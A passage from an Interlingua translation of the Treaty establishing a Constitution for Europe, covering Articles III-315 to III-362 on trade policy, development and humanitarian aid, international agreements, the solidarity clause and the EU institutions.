reduction del barrieras doanal e de altere dispositiones.ARTICULO III-315\n1. Le politica commercial commun es fundate super principios uniforme, particularmente concernente le modificationes tarifari, le conclusion de accordos tarifari e commercial concernente le intercambios de mercantias e le servicios e le aspectos commercial del proprietate intellectual, le investimentos estranier directe, le uniformitate del dispositiones de liberalisation, le politica de exportation e le dispositiones de defensa commercial, includite le dispositiones contra le dumping e le subventiones. Le politica commercial commun es facite in le quadro del principios e objectivos del action exterior del Union.\n2. Le lege europee establi mesuras que defini le quadro de application del politica commercial commun.\n3. Si accordos, con un o plure tertie paises o organisationes international, debe esser negotiate e concludite, le articulo III-325 es applicabile, salvo si dispositiones particular in le presente articulo prescribe alteremente.\nLe Commission presenta recommendationes al Consilio e le Consilio autorisa le Commission a initiar le negotios necessari. Le Consilio e le Commission velia que le accordos negotiate es compatibile con le politica interne e le regulas interne del Union.\nLe Commission face iste negotios in consultation con un Committee special que es designate per le Consilio pro assister le Commission in iste carga, e in le quadro del directivas que le Consilio pote diriger a illo. Le Commission reporta regularmente al Committee special e al Parlamento Europee re le situation del negotiationes.\n4. Pro le negotiationes e le conclusion del accordos mentionate in le paragrapho 3, le Consilio decide per majoritate qualificate.\nPro le negotiationes e conclusion de un accordo in le dominios del commercio de servicios e aspectos commercial del proprietate intellectual, assi como del investimentos estranier directe, le Consilio decide per unanimitate, quando iste accordo include dispositiones pro le quales le unanimitate es requirite pro le adoption de regulas interne.\nLe Consilio decide equalmente per unanimitate pro le negotiation e le conclusion de accordos:\na) in le dominio del commercio del servicios cultural e audiovisual, quando iste accordos risca influentiar negativemente le diversitate cultural e linguistic del Union.\nb) in le dominio del commercio del servicios social, de education e de sanitate public, quando iste accordos risca perturbar gravemente le organisation de iste servicios al nivello national e influentiar negativemente le responsabilitate del Statos membros a fornir iste servicios.\n5. Le negotiationes e le conclusion de accordos international in le dominio del transportos es submittite al Titulo III, Capitulo III, Section 7 e al Articulo III-325.\n6. Le exercitio del competentias attribuite per le presente articulo in le dominio del politica commercial commun non affecta le delimitation del competentias inter le Union e le Statos membros, e non causa un harmonisation del dispositiones legislative o regulamentari in le mesura que le Constitution exclude un tal harmonisation.\nCAPITULO IV\nCOOPERATION CON TERTIE PAISES E ADJUTA HUMANITARI\nSECTION 1\nCOOPERATION DE DISVELOPPAMENTO\nARTICULO III-316\n1. Le politica del Union in le dominio del cooperation pro le disveloppamento es facite in le quadro del principios e objectivos del action exterior del Union. Le politica del Union e del Statos membros pro le cooperation de disveloppamento se completa e se reinfortia mutualmente.\nLe objectivo principal del politica del Union in iste dominio es le reduction, e finalmente le eradication del povressa. Le Union tene conto del objectivos del cooperation pro le disveloppamento in le effectuation del politicas que pote affectar le paises in disveloppamento.\n2. Le Union e le Statos membros respecta le ingagiamentos e tene conto del objectivos que illos ha acceptate in le quadro del Nationes Unite e del altere competente organisationes international.ARTICULO III-317\n1. Le lege o lege-quadro europee establi le mesuras necessari pro le execution del politica de cooperation pro le disveloppamento que es relative al programmas pluriannual de cooperation con paises in disveloppamento o programmas que ha un approche thematic.\n2. Le Union pote concluder con le tertie paises e le organisationes international competente qualcunque accordo, que es utile pro le realisation del objectivos mentionate in le articulos III-292 e III-316.\nLe paragrapho 1 non influe super le competentia del Statos membros in negotiar in le organos international e concluder accordos.\nLe Banca Europee de Investimentos contribue, secundo le conditiones mentionate in su statuto, al execution del mesuras mentionate in le paragrapho 1.ARTICULO III-318\n1. Pro favorar le complementaritate e le efficacia de lor actiones, le Union e le Statos membros coordina lor politicas in materia de cooperation pro le disveloppamento e se concerta re lor programmas de adjuta, includite in le organisationes international, e durante le conferentias international. Illos pote interprender actiones conjuncte. Le Statos membros contribue, si necessari, al execution del programmas de adjuta del Union.\n2. Le Commission pote prender qualcunque initiativa utile pro promover le coordination mentionate in le paragrapho 1.\n3. In le quadro de lor competentias respective, le Union e le Statos membros coopera con le tertie paises e le organisationes international competente.\nSECTION 2\nCOOPERATION ECONOMIC, FINANCIARI, E TECHNIC CON LE TERTIE PAISES\nARTICULO III-319\n1. Sin prejudicio del altere dispositiones del Constitution, e in particular del articulos III-316 a III-318, le Union face actiones de cooperation economic, financiari, e technic, includite de assistentia specialmente in le dominio financiari, con tertie paises altere que le paises in disveloppamento. Iste actiones es coherente con le politica de disveloppamento del Union e es facite in le quadro del principios e objectivos de su action exterior. Le actiones del Union e del Statos membros se completa e se reinfortia mutualmente.\n2. Le lege o lege-quadro europee establi le mesuras necessari pro le application del paragrapho 1.\n3. In le quadro de lor competentias respective, le Union e le Statos membros coopera con le tertie paises e le organisationes international competente. Le modalitates del cooperation del Union pote esser le objecto de accordos inter illo e le tertie partes concernite. Le prime subparagrapho non prejudica le competentia del Statos membros pro negotiar in le foros international e concluder accordos.ARTICULO III-320\nQuando le situation in un tertie pais require un assistentia financiari urgente, le Consilio, per proposition del Commission, adopta le decisiones europee necessari.\nSECTION 3\nADJUTA HUMANITARI\nARTICULO III-321\n1. Le actiones del Union in le dominio del adjuta humanitari es facite in le quadro del principios e objectivos del action exterior del Union. Iste actiones intende, in modo punctual, prestar assistentia e succurso al populationes del tertie paises, victimas de catastrophes natural o de origine human, e proteger los, pro facer fronte al necessitates humanitari resultante de iste differente situationes. Le actiones del Union e del Statos membros se completa e se reinfortia mutualmente.\n2. Le actiones de adjuta humanitari es conducite conformemente con le principios del derecto international e al principios de impartialitate, neutralitate, e non-discrimination.\n3. Le lege o lege-quadro europee establi le mesuras que defini le quadro in le qual es executate le actiones de adjuta humanitari del Union.\n4. Le Union pote concluder con le tertie paises e le organisationes international competente qualcunque accordo utile pro le realisation del objectivos mentionate in le paragrapho 1 e in le articulo III-292. Le prime subparagrapho non prejudica le competentia del Statos membros pro negotiar in le instantias international e concluder accordos.\n5. A fin de establir un quadro pro contributiones commun del juvene Europeos al actiones de adjuta humanitari del Union, un Corpore voluntari europee de adjuta humanitari es create. Le lege europee fixa su statuto e le modalitates de su functionamento.\n6. Le Commission pote prender qualcunque initiativa utile pro promover le coordination inter le actiones del Union e illos del Statos membros, pro reinfortiar le efficacia e le complementaritate del dispositivos del Union e del dispositivos national de adjuta humanitari.\n7. Le Union velia que su actiones de adjuta humanitari es coordinate e coherente con illos del organisationes e organismos international, in particular le actiones de adjuta que es parte del systema del Nationes Unite.\nCAPITULO V\nMESURAS RESTRICTIVE\nARTICULO III-322\n1. Quando un decision europee, adoptate in conformitate con le capitulo II, previde le interruption o le reduction, total o partial, del relationes economic e financiari con un o plure tertie paises, le Consilio, decidente per majoritate qualificate, per proposition conjuncte del Ministro de Affaires Exterior del Union e del Commission, adopta le regulamentos e decisiones europee necessari. Illo informa de isto le Parlamento Europee.\n2. Quando un decision europee, adoptate in conformitate con le capitulo II, lo previde, le Consilio pote, secundo le procedura mentionate in le paragrapho 1, adoptar mesuras restrictive contra personas physic o juridic, gruppos o entitates non-statal.\n3. Le actos mentionate in le presente articulo contine le dispositiones necessari in materia de garantias juridic.\nCAPITULO VI\nACCORDOS INTERNATIONAL\nARTICULO III-323\n1. Le Union pote concluder un accordo con un o plure tertie paises o organisationes international quando le Constitution lo previde o quando le conclusion de un accordo, sia es necessari pro realisar, in le quadro del politicas del Union, un del objectivos mentionate in le Constitution, sia es mentionate in un acto juridic constringente del Union, sia ancora pote affectar regulas commun o alterar lor portata.\n2. Le accordos concludite per le Union liga le institutiones del Union e le Statos membros.ARTICULO III-324\nLe Union pote concluder un accordo de association con un o plure tertie paises o un o plure organisationes pro crear un association characterisate per derectos e obligationes reciproc, actiones commun e proceduras particular.ARTICULO III-325\n1. Sin prejudicio del dispositiones particular in le articulo III-315 le accordos inter le Union e tertie paises o organisationes international es negotiate e concludite secundo le procedura sequente.\n2. Le Consilio autorisa le apertura del negotiationes, defini le directivas de negotiation, autorisa le signatura, e conclude le accordos.\n3. Le Commission - o le Ministro de Affaires Exterior del Union, quando le accordo exclusivemente o principalmente concerne le politica commun exterior e de securitate - presenta recommendationes al Consilio, que adopta un decision europee autorisante le apertura del negotiationes e, dependente del subjecto del accordo previdite, nomina le negotiator del Union o le chef del equipa de negotiation del Union.\n4. Le Consilio pote dar directivas al negotiator e designar un Committee special que debe esser consultate durante le negotiationes.\n5. Le Consilio adopta, per proposition del negotiator, un decision europee que autorisa le signatura del accordo, e, in caso de necessitate, su application provisori ante le entrata in vigor.\n6. Le Consilio adopta, per proposition del negotiator, un decision europee de conclusion del accordo.\nCon exception de accordos que exclusivemente concerne le politica commun exterior e de securitate, le Consilio adopta le decision europee de conclusion del accordo:\na) post approbation per le Parlamento Europee in le casos sequente:\ni) accordos de association;\nii) adhesion del Union al Convention Europee pro protection del derectos human e del libertates fundamental;\niii) accordos que establi un quadro institutional specific per organisar proceduras de cooperation;\niv) accordos con considerabile implicationes budgetari pro le Union;\nv) accordos coperiente dominios al quales se applica le procedura legislative ordinari, o - si le approbation del Parlamento Europee es requirite - le procedura legislative special.\nLe Parlamento Europee e le Consilio pote in casos urgente concordar un termino pro le approbation;\nb) post consultation del Parlamento Europee in le altere casos. Le Parlamento Europee pronuncia su opinion intra un termino que le Consilio pote fixar, secundo le urgentia del caso. In absentia de un aviso intra iste termino, le Consilio pote decider.\n7. Nonobstante lo que es disponite in le paragraphos 5, 6 e 9, le Consilio pote al conclusion de un accordo autorisar le negotiator a approbar le modificationes del accordo in le nomine del Union, si iste modificationes secundo le accordo debe esser adoptate secundo un procedura simplificate o per un organo instituite per iste accordo. Le Consilio pote attachar conditiones specific a un tal autorisation.\n8. Le Consilio decide per majoritate qualificate durante le integre procedura.\nTotevia, illo decide per unanimitate, quando le accordo concerne un dominio pro le qual es requirite unanimitate pro le adoption de un acto del Union, e quando il se tracta de accordos de association e del accordos mentionate in le articulo III-319 con statos que es candidatos pro adhesion al Union.\n9. Le Consilio adopta, per proposition del Commission o del Ministro de Affaires Exterior del Union, un decision europee de suspender le application de un accordo e de establir le positiones a adoptar in le nomine del Union in un organo create per un accordo, quando iste organo debe adoptar actos que ha effectos juridic, con exception de actos que completa o modifica le quadro institutional pro le accordo.\n10. Le Parlamento Europee debe immediatemente esser plenmente informate in tote le stadios del procedura.\n11. Un Stato membro, le Parlamento Europee, le Consilio, o le Commission, pote consultar le Tribunal de Justitia concernente le compatibilitate con le Constitution de un accordo previdite. In caso de un aviso negative del Tribunal de Justitia le accordo previdite solmente pote entrar in vigor si illo es modificate o si le Constitution es revidite.ARTICULO III-326\n1. Nonobstante lo que es disponite in le articulo III-325, le Consilio, sia per le recommendation del Banca Central Europee, sia per le recommendation del Commission e post consultation del Banca Central Europee in vista de pervenir a un consenso compatibile con le objectivo del stabilitate del precios, pote concluder accordos formal re un systema de cursos de cambio pro le euro in relation con le monetas de tertie Statos. Le Consilio decide per unanimitate, post consultation del Parlamento Europee e in conformitate con le procedura mentionate in le paragrapho 3.\nLe Consilio, sia per le recommendation del Banca Central Europee, sia per le recommendation del Commission e post consultation del Banca Central Europee in vista de pervenir a un consenso compatibile con le objectivo del stabilitate del precios, pote adoptar, modificar, o abandonar le cursos central del euro in le systema del cursos de cambio. Le Presidente del Consilio informa le Parlamento Europee re le adoption, le modification, o le abandono del cursos central del euro.\n2. In le absentia de un systema de cursos de cambio in relation con un o plure monetas de tertie Statos in le senso del paragrapho 1, le Consilio, decidente sia per le recommendation del Banca Central Europee, sia per le recommendation del Commission e post consultation del Banca Central Europee, pote formular le orientationes general del politica de cambio in relation con iste monetas. Iste orientationes general non affecta le objectivo principal del Systema europee de bancas central, a saper le mantenimento del stabilitate del precios.\n3. Nonobstante lo que es disponite in le articulo III-325, in le caso que accordos relative al regime monetari o de cambio debe esser negotiate inter le Union e un o plure tertie Statos o organisationes international, le Consilio, decidente per recommendation del Commission e post consultation del Banca Central Europee, decide del arrangiamentos pro le negotiationes e le conclusion de iste accordos. Iste arrangiamentos debe assecurar que le Union exprime un position unic. Le Commission es plenmente associate al negotiationes.\n4. Sin prejudicio del competentias e del accordos del Union in le dominio union economic e monetari, le Statos membros pote negotiar in le instantias international e concluder accordos.\nCAPITULO VII\nRELATIONES DEL UNION CON LE ORGANISATIONES INTERNATIONAL\nE LE TERTIE PAISES E DELEGATIONES DEL UNION\nARTICULO III-327\n1. Le Union establi qualcunque cooperation utile con le organos del Nationes Unite e de lor institutiones specialisate, le Consilio de Europa, le Organisation pro le Securitate e le Cooperation in Europa, e le Organisation de Cooperation e de Disveloppamento Economic.\nLe Union assecura, in ultra, le relationes opportun con altere organisationes international.\n2. Le Ministro de Affaires Exterior del Union e le Commission es cargate de executar le presente articulo.ARTICULO III-328\n1. Le delegationes del Union in le tertie paises e presso le organisationes international assecura le representation del Union.\n2. Le delegationes del Union es ponite sub le autoritate del Ministro del Affaires Exterior del Union. Illos age in cooperation stricte con le missiones diplomatic e consular del Statos membros.\nCAPITULO VIII\nAPPLICATION DEL CLAUSULA DE SOLIDARITATE\nARTICULO III-329\n1. Si un Stato membro es le objecto de un attacco terroristic o le victima de un catastrophe natural o de origine human, le altere Statos membros presta assistentia a illo, per le requesta de su autoritates politic. Pro iste fin le Statos membros se coordina in le sino del Consilio.\n2. Le modalitates del application per le Union del clausula de solidaritate mentionate in le articulo I-43 es definite per un decision europee adoptate per le Consilio, per proposition conjuncte del Commission e del Ministro de Affaires Exterior del Union. Quando iste decision ha implicationes in le dominio del defensa, le Consilio decide conformemente con le articulo III-300(1). Le Parlamento Europee es informate.\nIn le quadro del presente paragrapho, e sin prejudicio del articulo III-344, le Consilio es assistite per le Committee Politic e de Securitate, con le appoio del structuras disveloppate in le quadro del politica de securitate e de defensa commun, e per le Committee mentionate in le articulo III-261, le quales presenta a illo, si necessari, avisos conjuncte.\n3. A fin de permitter al Union e a su Statos membros ager in modo efficace, le Parlamento Europee evaluta regularmente le menacias al quales le Union es confrontate.\nTITULO VI\nFUNCTIONAMENTO DEL UNION\nCAPITULO I\nDISPOSITIONES INSTITUTIONAL\nSECTION 1\nINSTITUTIONES\nSubsection 1\nLe Parlamento Europee\nARTICULO III-330\n1. Un lege o lege-quadro del Consilio establi le mesuras necessari pro permitter le election del membros del Parlamento Europee per suffragio universal directe secundo un procedura uniforme in tote le Statos membros o conformemente con principios commun a tote le Statos membros.\nLe Consilio decide per unanimitate, per un initiativa del Parlamento Europee e post approbation per iste, que se pronuncia per le majoritate del membros qui lo compone. Iste lege o lege-quadro entra in vigor post su approbation per le Statos membros conformemente con lor regulas constitutional respective.\n2. Un lege europee del Parlamento Europee fixa le statuto e le conditiones general de exercitio del functiones de su membros. Le Parlamento Europee decide, per su proprie initiativa, post aviso del Commission e post approbation del Consilio. Le Consilio decide per unanimitate re qualcunque regula o condition relative al regime fiscal del membros e del ex-membros.ARTICULO III-331\nLe lege europee fixa le statuto del partitos politic al nivello europee mentionate in le articulo I-46(4), e in particular le regulas relative a lor financiamento.ARTICULO III-332\nLe Parlamento Europee pote, per majoritate del membros qui lo compone, peter le Commission submitter qualcunque proposition appropriate que pare a illo necessitar le elaboration de un acto del Union pro le application del Constitution. Si le Commission submitte nulle proposition, illo communica le rationes de isto al Parlamento Europee.ARTICULO III-333\nIn le quadro del complimento de su missiones, le Parlamento Europee pote, per requesta del quarte parte del membros qui lo compone, constituer un commission temporari de investigation pro examinar, sin prejudicio del attributiones conferite in le Constitution a altere institutiones o organos, le allegationes de infraction e de mal administration in le application del derecto del Union, salvo si le factos allegate es examinate ante un jurisdiction e tanto longe que le procedura jurisdictional non es concludite. Le commission temporari de investigation cessa exister con le deposito de su reporto. Un lege europee del Parlamento Europee fixa le modalitates del derecto de investigation. Le Parlamento Europee decide, per su proprie initiativa, post approbation del Consilio e del Commission.ARTICULO III-334\nConformemente con le articulo I-10(2)(d), qualcunque citatano del Union, assi como qualcunque persona physic o juridic residente o habente su domicilio statutari in un Stato membro, ha le derecto de presentar, individualmente o in association con altere personas, un petition al Parlamento Europee re un subjecto pertinente al dominios de activitate del Union e que le, la, o lo concerne directemente.ARTICULO III-335\n1. Le Parlamento Europee elige le Mediator Europee. In conformitate con le articulo I-49(2)(d), ille es autorisate a reciper le planctos emanante de qualcunque citatano del Union o de qualcunque persona physic o juridic residente o habente su domicilio in un Stato membro, e relative a casos de mal administration in le action del institutiones, organos o organismos del Union, con exception del Tribunal de Justitia del Union Europee in le exercitio de su functiones jurisdictional.\nConformemente con su mission, le Mediator Europee procede al investigationes que ille considera justificate, sia per su proprie initiativa, sia super le base del planctos que le ha essite presentate directemente o per le intermediation de un membro del Parlamento Europee, salvo si le factos allegate es o ha essite le objecto de un procedura jurisdictional. Si le Mediator ha constatate un caso de mal administration, ille informa le institution, organo o organismo concernite, que dispone de un periodo de tres menses pro le communicar su aviso. Postea le Mediator transmitte un reporto al Parlamento Europee e al institution, organo o organismo concernite. Le persona ab le qual emana le plancto es informate del resultato de iste investigationes.\nCata anno, le Mediator presenta un reporto al Parlamento Europee re le resultatos de su investigationes.\n2. Le Mediator es eligite post cata election del Parlamento Europee pro le duration del legislatura. Su mandato es renovabile.\nLe Mediator pote esser declarate dimissionari per le Tribunal de Justitia, per le requesta del Parlamento Europee, si ille non plus compli le conditiones necessari pro le exercitio de su functiones o si ille ha committite un falta grave.\n3. Le Mediator exerce su functiones con total independentia. In le complimento de su deberes, ille sollicita o accepta instructiones de necun institution, organo o organismo. Durante le duration de su functiones, le Mediator pote exercer necun altere activitate professional, remunerate o non.\n4. Un lege europee del Parlamento Europee fixa le statuto e le considerationes general de exercitio del functiones del Mediator. Le Parlamento Europee decide, per su proprie initiativa, post aviso del Commission e approbation del ConsilioARTICULO III-336\nLe Parlamento Europee ha un session annual. Illo se reuni, sin convocation formal, le secunde martedi in martio.\nLe Parlamento Europee pote reunir se a un session extraordinari per le requesta del majoritate del membros qui lo compone, o per le requesta del Consilio o del Commission.ARTICULO III-337\n1. Le Consilio Europee e le Consilio se pronuncia al Parlamento Europee sub le conditiones fixate per le regulamento interior del Consilio Europee, respectivemente del Consilio.\n2. Le Commission pote assister a tote le sessiones del Parlamento Europee e compare, si iste lo desira. Illo responde oralmente o per scripto al questiones que lo es ponite per le Parlamento Europee o per su membros.\n3. Le Parlamento Europee discute in un session public le reporto general annual que lo presenta le Commission.ARTICULO III-338\nSalvo dispositiones contrari in le Constitution, le Parlamento Europee decide per majoritate del votos exprimite. Su regulamento interior fixa le quorum.ARTICULO III-339\nLe Parlamento Europee adopta su regulamento interior per le majoritate del membros qui lo compone. Le actos del Parlamento Europee es publicate al conditiones mentionate per le Constitution e per su regulamento interior.ARTICULO III-340\nSi un motion de censura re le gestion del Commission es submittite al Parlamento Europee, illo solo pote pronunciar se re iste motion al minus tres dies post su deposito, e solo per un votation public.\nSi le motion de censura es adoptate per le majoritate del duo tertios del votos exprimite e per le majoritate del membros qui compone le Parlamento Europee, le membros del Commission debe dimitter collectivemente de lor functiones e le Ministro de Affaires Exterior del Union debe dimitter del functiones que ille exerce in le sino del Commission. Illes remane in function e continua facer le affaires currente usque lor reimplaciamento, in conformitate con le articulos I-26 e I-27. In iste caso, le mandato del membros del Commission nominate pro reimplaciar les expira al data al qual haberea debite expirar le mandato del membros del Commission obligate a dimitter collectivemente de lor functiones.\nSubsection 2\nLe Consilio Europee\nARTICULO III-341\n1. In caso de votation, cata membro del Parlamento Europee pote representar solmente un singule del altere membros.\nLe abstention de membros presente o representate non impedi le adoption del decisiones del Consilio Europee que require le unanimitate.\n2. Le Presidente del Parlamento Europee pote esser invitate a esser audite per le Consilio Europee.\n3. Le Consilio Europee decide per majoritate simple re le questiones de procedura assi como re le adoption de su regulamento interior.\n4. Le Consilio Europee es assistite per le secretariato general del Consilio.\nSubsection 3\nLe Consilio de Ministros\nARTICULO III-342\nLe Consilio se reuni per convocation de su Presidente, per le initiativa de iste, per un de su membros. o per le Commission.ARTICULO III-343\n1. In caso de votation, cata membro del Consilio pote representar solmente un singule del altere membros.\n2. Pro le decisiones que require le majoritate simple, le Consilio decide per le majoritate del membros qui lo compone.\n3. Le abstention de membros presente o representate non impedi le adoption del decisiones del Consilio que require le unanimitate.ARTICULO III-344\n1. Un Committee componite del representantes permanente del governamentos del Statos membros es responsabile del preparation del labores del Consilio e del execution del mandatos que iste lo confide. Le Committee pote adoptar decisiones de procedura in le casos mentionate in le regulamento interior del Consilio.\n2. Le Consilio es assistite de un secretariato general sub le responsabilitate de un secretario general nominate per le Consilio.\nLe Consilio decide per majoritate simple re le organisation del secretariato general.\n3. Le Consilio decide per majoritate simple re le questiones de procedura assi como re le adoption de su regulamento interior.ARTICULO III-345\nLe Consilio pote, per majoritate simple, peter al Commission de effectuar tote le studios que illo considera opportun pro le realisation del objectivos commun e de submitter le propositiones appropriate. Si le Commission submitte necun proposition, illo communica le rationes al Consilio.ARTICULO III-346\nLe Consilio adopta decisiones europee fixante le statutos del Committees previste per le Constitution. Illo decide per majoritate simple, post consultation del Commission.\nSubsection 4\nLe Commission Europee\nARTICULO III-347\nLe membros del Commission se abstine de tote acto incompatibile con lor functiones. Le Statos membros respecta lor independentia e non essaya influentiar les in le execution de lor cargas.\nLe membros del Commission pote, durante le duration de lor functiones, exercer necun altere activitate professional, remunerate o non. Illes assume, al momento de lor installation, le ingagiamento solemne de respectar, durante le duration de lor functiones e post lor cessation, le obligationes derivate de lor carga, in particular le deberes de integritate e discretion quanto al acceptation, post iste cessation, de certe functiones o de certe avantages. In caso de violation de iste obligationes, le Tribunal de Justitia, informate per le Consilio, e decidente per majoritate simple, o per le Commission, pote, secundo le casos, dimitter le persona concernite sub le conditiones mentionate in le articulo III-349 o privar le del derecto a pension o a qualcunque altere beneficio.ARTICULO III-348\n1. Foras del renovation periodic e del decessos, le functiones del membros del Commission fini individualmente per dimission voluntari o per destitution.\n2. Un membro dimissionari del Commission, dimittite o decedite, debe, pro le duration restante del mandato, esser substituite per un nove membro del mesme nationalitate, nominate per le Consilio de accordo commun con le Presidente del Commission, post consultation del Parlamento Europee e in conformitate con le criterios in le articulo I-26(4).\nLe Consilio unanime pote, per proposition del Presidente del Commission, decider que un nove membro non es appunctate, in particular quando le duration restante del mandato del membro del Commission es curte.\n3. In caso de dimission voluntari, de destitution o de decesso, le Presidente es reimplaciate pro le duration restante del mandato, conformemente con le articulo I-27(1).\n4. In caso de dimission voluntari, de destitution o de decesso, le Ministro de Affaires Exterior del Union es reimplaciate, pro le duration restante del mandato, conformemente con le articulo I-28(1).\n5. In caso de dimission voluntari de tote le membros del Commission, istes resta in function e continua facer le cargas currente usque lor reimplaciamento, pro le duration restante del mandato, conformemente con le articulos I-26 e I-27.ARTICULO III-349\nQualcunque membro del Commission pote, si ille non plus compli le conditiones necessari pro le exercitio de su functiones, o si ille ha committite un falta grave, esser declarate dimissionari per le Tribunal de Justitia, per le requesta del Consilio, que decide per majoritate simple, o del Commission.ARTICULO III-350\nSin prejudicio del articulo I-28(4), le responsabilitates incumbente al Commission es structurate e repartite inter su membros per su Presidente, conformemente con le articulo I-27(3). Le Presidente pote reorganisar le repartition de iste responsabilitates durante le mandato. Le membros del Commission exerce le functiones que le Presidente les attribue.ARTICULO III-351\nLe decisiones del Commission es acquirite per majoritate de su membros. Su regulamento interior fixa le quorum.ARTICULO III-352\n1. Le Commission adopta su regulamento interior in vista de assecurar su functionamento e illo de su servicios. Le Commission assecura le publication de iste regulamento.\n2. Le Commission publica cata anno, al minus un mense ante le apertura del session del Parlamento Europee, un reporto general re le activitate del Union.\nSubsection 5\nLe Tribunal de Justitia del Union Europee\nARTICULO III-353\nLe Tribunal de Justitia ha su sessiones in cameras, in un grande camera o in un assemblea plen, conformemente con le statuto del Tribunal del Union Europee.ARTICULO III-354\nLe Tribunal de Justitia es assistite per octo advocatos general. Si le Tribunal de Justitia lo sollicita, le Consilio pote adoptar, per unanimitate, un decision europee pro augmentar le numero de advocatos general.\nLe function del advocato general consiste in presentar publicamente, con tote impartialitate e independentia, conclusiones motivate re le affaires que, conformemente con le statuto del Tribunal de Justitia del Union Europee, require su intervention.ARTICULO III-355\nLe judices e le advocatos general del Tribunal de Justitia, eligite inter personas qui ha plen garantias de independentia e qui reuni le conditiones requirite pro exercer, in lor paises respective, le plus alte functiones jurisdictional, o qui es jurisconsultos possedente competentias recognoscite, es nominate de accordo commun per le governamentos del Statos membros, post consultation del Committee mentionate in le articulo III-357.\nIl ha un renovation partial del judices e del advocatos general tote le tres annos secundo le conditiones mentionate in le statuto del Tribunal de Justitia del Union Europee.\nLe judices designa, inter illes, pro tres annos, le Presidente del Tribunal de Justitia. Su mandato es renovabile.\nLe Tribunal de Justitia adopta su regulamento de procedura. Iste regulamento es submittite al approbation del Consilio.ARTICULO III-356\nLe numero del judices del Tribunal General es fixate per le statuto del Tribunal de Justitia del Union Europee. Le statuto pote disponer que le Tribunal es assistite per advocatos general.\nLe membros del Tribunal es eligite inter personas qui offere plen garantias de independentia e qui possede le capacitate requirite pro le exercitio de alte functiones jurisdictional. Illes es nominate de accordo commun per le governamentos del Statos membros, post consultation del Committee mentionate in le articulo III-357.\nIl ha un renovation partial del Tribunal tote le tres annos.\nLe judices designa inter illes, pro tres annos, le Presidente del Tribunal. Su mandato es renovabile.\nLe Tribunal adopta su regulamento de procedura de accordo con le Tribunal de Justitia. Iste regulamento es submittite al approbation del Consilio.\nSolmente si le statuto dispone alteremente, le dispositiones del Constitution relative al Tribunal de Justitia es applicabile al Tribunal.ARTICULO III-357\nUn committee es constituite a fin de dar un aviso re le adhesion del candidatos al exercitio del functiones de judice e de advocato general del Tribunal de Justitia e del Tribunal General ante que le governamentos del Statos membros procede al nominationes in conformitate con le articulos III-355 e III-356.\nLe committee es componite de septe personas eligite inter ex-membros del Tribunal de Justitia e del Tribunal General, membros del jurisdictiones national supreme e juristas possedente competentias recognoscite, del quales un es proponite per le Parlamento Europee. Le Consilio adopta un decision europee establiente le regulas de functionamento de iste committee, assi como un decision europee que designa le membros. Le Consilio decide per initiativa del Presidente del Tribunal de Justitia.ARTICULO III-358\n1. Le Tribunal General es competente pro cognoscer in prime instantia recursos mentionate in le articulos III-365, III-376, III-372 e III-374, con exception del recursos que es attribuite a un tribunal specialisate create in application del articulo III-359 e del recursos que le statuto del Tribunal de Justitia del Union Europee reserva al Tribunal de Justitia. Le statuto pote establir que le Tribunal de Justitia es competente pro altere categorias de recursos.\nLe decisiones prendite per le Tribunal General in virtute del presente paragrapho pote esser le objecto de un recurso de cassation ante le Tribunal de Justitia, sub le conditiones e limites mentionate in le statuto del Tribunal de Justitia europee.\n2. Le Tribunal General es competente pro cognoscer recursos que es formate contra le decision del tribunales specialisate.\nLe decisiones prendite per le Tribunal General in virtute del presente paragrapho pote exceptionalmente esser le objecto de un reexamine per le Tribunal de Justitia, secundo le conditiones e limites mentionate in le statuto del Tribunal de Justitia del Union Europee, in caso de risco seriose pro le unitate o le coherentia del derecto del Union.\n3. Le Tribunal General es competente pro cognoscer questiones prejudicial, submittite in virtute del articulo III-369, in le materias specific determinate per le statuto del Tribunal de Justitia del Union Europee. Quando le Tribunal General considera que le affaire require un decision de principio que pote affectar le unitate o le coherentia del derecto del Union, illo pote reinviar le affaire al Tribunal de Justitia, que debe decider.\nLe decisiones prendite per le Tribunal General re questiones prejudicial pote exceptionalmente esser le objecto de un reexamine per le Tribunal de Justitia, sub conditiones e intra limites mentionate in le statuto, in caso de risco seriose pro le unitate o le coherentia del derecto del Union.ARTICULO III-359\n1. Le lege europee pote crear tribunales specialisate adjuncte al Tribunal General, cargate de cognoscer in prime instantia certe categorias de recursos formate in le materias specific. Illo es adoptate sia per proposition del Commission e post consultation del Tribunal de Justitia, sia per requesta del Tribunal de Justitia e post consultation del Commission.\n2. Le lege europee pro le creation de un tribunal specialisate fixa le regulas relative al composition de iste tribunal e precisa le portata del attributiones que es conferite a iste tribunal specialisate.\n3. Le decisiones del tribunales specialisate pote esser le objecto de un recurso de cassation limitate al questiones de derecto o, quando le lege europee re le creation del tribunal specialisate lo previde, de un appello relative equalmente al questiones de facto, ante le Tribunal General.\n4. Le membros del tribunales specialisate es eligite inter personas offerente plen garantias de independentia e possedente le capacitate requirite pro le exercitio de functiones jurisdictional. Illes es nominate per le Consilio, que decide per unanimitate.\n5. Le tribunales specialisate adopta lor regulamento de procedura in accordo con le Tribunal de Justitia. Iste regulamento es submittite al approbation del Consilio.\n6. Salvo un disposition in contrario del lege europee pro le creation de un tribunal specialisate, le dispositiones del Consilio relative al Tribunal de Justitia del Union Europee e le dispositiones del statuto del Tribunal de Justitia del Union Europee es applicate al tribunales specialisate. Le titulo 1 del statuto e su articulo 64 es applicate in tote caso al tribunales specialisate.ARTICULO III-360\nSi le Commission considera que un Stato membro non ha complite un del obligationes que lo incumbe in virtute del Constitution, illo emitte un aviso motivate re iste subjecto, post haber offerite a iste Stato le possibilitate de presentar su observationes.\nSi le Stato concernite non se conforma a iste aviso in le termino determinate per le Commission, iste pote submitter le affaire al Tribunal de Justitia del Union Europee.ARTICULO III-361\nCata un del Statos membros pote recurrer al Tribunal de Justitia del Union Europee, si illo considera que un altere Stato membro non ha complite un del obligationes que lo incumbe in virtute del Constitution.\nAnte que un Stato membro intenta, contra un altere Stato membro, un recurso fundate super un pretendite violation del obligationes que lo incumbe in virtute del Constitution, illo debe submitter le affaire al Commission.\nLe Commission emitte un aviso motivate post que le Statos interessate ha habite le possibilitate de presentar contradictorimente lor observationes scripte e oral.\nSi le Commission non ha emittite le aviso intra un termino de tres menses a partir del requesta, le absentia de aviso non impedi que le affaire es submittite al Tribunal de Justitia.ARTICULO III-362\n1. Si le Tribunal de Justitia del Union Europee declara que un stato membro non ha complite un del obligationes que lo incumbe in virtute del Constitution, iste Stato es obligate a prender le mesuras necessari pro le execution del sententia del Tribunal de Justitia.\n2. Si le Commission considera que le Stato membro concernite non ha prendite le mesuras pro le execution del sententia mentionate in le paragrapho 1, illo pote submitter le affaire al 